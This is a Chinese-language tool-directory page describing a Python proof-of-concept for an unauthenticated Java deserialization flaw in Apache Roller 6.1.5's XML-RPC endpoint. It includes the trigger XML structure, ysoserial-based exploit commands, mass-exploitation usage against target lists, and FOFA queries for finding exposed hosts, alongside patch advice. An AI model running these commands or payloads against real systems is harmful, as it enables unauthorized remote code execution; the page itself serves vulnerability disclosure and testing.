Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-82384 — 针对 CVE-2026-82384 的 Python PoC:通过 ysoserial 载荷检测并利用 Apache Roller 6.1.5 中未认证的 XML-RPC Java 反序列化漏洞,并支持批量扫描。 | Kitploit
工具/GitHubGitHub/murrez/cve-2026-82384
侦察Payload生成漏洞分析漏洞利用Web应用程序漏洞利用信息收集渗透测试远程访问工具
GitHubmurrez/cve-2026-82384

CVE-2026-82384

针对 CVE-2026-82384 的 Python PoC:通过 ysoserial 载荷检测并利用 Apache Roller 6.1.5 中未认证的 XML-RPC Java 反序列化漏洞,并支持批量扫描。

查看仓库
121个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-82384 — Apache Roller 6.1.5 XML-RPC 反序列化

针对 CVE-2026-82384 的 Python 3 PoC —— Apache Roller 6.1.5 遗留 XML-RPC servlet 上的未认证 Java 反序列化。

PoC 页面: https://pocbit.org/pocs/cve-2026-82384


什么是 Apache Roller?

Apache Roller 是一个基于 Java 的多用户 博客服务器(历史上称为“Roller Weblogger”)。部署形式通常是 Tomcat WAR,UI 位于 /roller-ui/ 下,遗留的 Blogger / MetaWeblog API 通过 XML-RPC 暴露在 /roller-services/xmlrpc。Roller 6.1.5(2025 年 9 月)修复了一个无关的会话问题(CVE-2025-24859),但使 XML-RPC 栈处于对本 CVE 而言危险的配置状态。


通俗解释漏洞

CVE-2026-82384 是 XML-RPC 端点上的不可信数据反序列化(CWE-502):

  1. Roller 的 XmlRpcServlet 配置了 enabledForExtensions=true,因此 Apache ws-xmlrpc 库接受厂商扩展类型,包括 ex:serializable —— 一个 base64 编码的 Java 序列化对象。
  2. 该解析在 HTTP 请求处理期间运行,早于 Blogger/MetaWeblog 认证的评估。
  3. servlet 映射在 web.xml 中始终存在,因此即使管理员在 Roller 设置中禁用 XML-RPC(webservices.enableXmlRpc=false),解析器仍会运行。在 UI 中禁用该功能并不能在 6.1.5 上关闭这条预认证路径。
  4. 远程攻击者发送精心构造的 XML-RPC 请求体;服务器反序列化攻击者字节 → 在 JVM 中实现远程代码执行(与 ws-xmlrpc / Archiva 中历史性的 CVE-2016-5003 属于同一类漏洞)。

受影响: 仅 Apache Roller 6.1.5(依据厂商公告)。
已修复: Apache Roller 6.1.6+(PR #171):enabledForExtensions=false,并且当 XML-RPC 全局禁用时拒绝请求。

指标值
CVSS 3.19.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
认证反序列化原语无需认证
发现者n0mi1k
厂商Apache Software Foundation

攻击面

项目详情
端点POST /roller-services/xmlrpc(也可尝试 /roller/roller-services/xmlrpc)
Content-Typetext/xml
触发方式在 methodCall 内使用 <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">BASE64</ex:serializable>
Gadget 链取决于 classpath(Commons Collections 等);通常使用 ysoserial 生成
影响以 Tomcat/Roller 操作系统用户身份实现 RCE;通常可完全控制博客数据并横向移动主机

此 PoC 的功能

模式行为
check查找 Roller 指纹,定位 XML-RPC URL,可选 --probe-deser(发送 ex:serializable 探测字节)
exploit提交你的序列化 payload(文件、base64,或通过 --ysoserial-jar 使用 ysoserial)
批量--list targets.txt --mode exploit -j N —— 并行批量处理,输出 JSONL + exploited.txt

PoCbit 字段: 每行 JSONL 均包含 pocbit、pocbit_catalog、pocbit_page。
CLI: 彩色横幅,[HIT] / [EXPLOIT] / [FAIL] 行(使用 --no-color 禁用)。

本仓库不附带可用的 RCE gadget 链(依赖 classpath)。如需真实利用,请提供 ysoserial 输出或经过验证的 payload 文件。


要求

pip install -r requirements.txt

对于 RCE(不仅仅是检测):

  • Java + 攻击机上的 ysoserial JAR
  • 示例 gadget:URLDNS(带外证明)、CommonsCollections6(在典型 Roller classpath 上执行命令——请先在实验环境中验证)

用法

检测

python poc.py -u https://blog.example.com --mode check
python poc.py -u https://blog.example.com --mode check --probe-deser
python poc.py --list targets.example.txt --mode check -j 12

漏洞利用(单一目标)

# OOB DNS proof (replace with your collaborator)
python poc.py -u https://blog.example.com --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd pocbit.your-oast.domain

# Pre-generated base64 payload file
python poc.py -u https://blog.example.com --mode exploit --payload-file chain.b64

# Raw ysoserial bytes on disk
python poc.py -u https://blog.example.com --mode exploit --payload-file payload.bin

大规模批量利用

python poc.py --list targets.txt --mode exploit \
  --ysoserial-jar ysoserial.jar --ysoserial-gadget URLDNS \
  --ysoserial-cmd oast.example.com -j 10

输出:

  • cve_2026_82384_exploit.jsonl — 每个目标的 JSON
  • exploited.txt — 载荷被接受 / 已发送 OOB 的目标

示例 XML-RPC 结构(教学用途)

<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
  <methodName>system.listMethods</methodName>
  <params>
    <param>
      <value>
        <ex:serializable xmlns:ex="http://ws.apache.org/xmlrpc/namespaces/extensions">
          BASE64_JAVA_SERIALIZED_OBJECT
        </ex:serializable>
      </value>
    </param>
  </params>
</methodCall>

在 6.1.5 上,解析此请求体时,可能在任意方法处理器执行凭据校验之前就完成反序列化。


修复建议

  1. 立即升级到 Roller 6.1.6+。
  2. 在打补丁之前:在反向代理 / WAF 上拦截 /roller-services/xmlrpc(仅允许管理员 IP 白名单)。
  3. 资产盘点:搜索 Apache Roller、/roller-ui/、8080/8443 端口的博客主机。
  4. 同版本发布中的相关问题:CVE-2026-82377(XML-RPC 授权问题)、CVE-2026-82386(书签导入中的 XXE)——同样已在 6.1.6 中修复。

FOFA / 资产测绘(示例)

body="Apache Roller"
body="/roller-ui/"
body="/roller-services/xmlrpc"
title="Roller"

在将其视为可利用之前,请从页脚、关于页面或 WEB-INF / 发布说明中确认版本为 6.1.5。


法律

仅可在你获得授权测试的系统上使用。反序列化漏洞利用可能会破坏数据,若被滥用则可能违反法律。

下载工具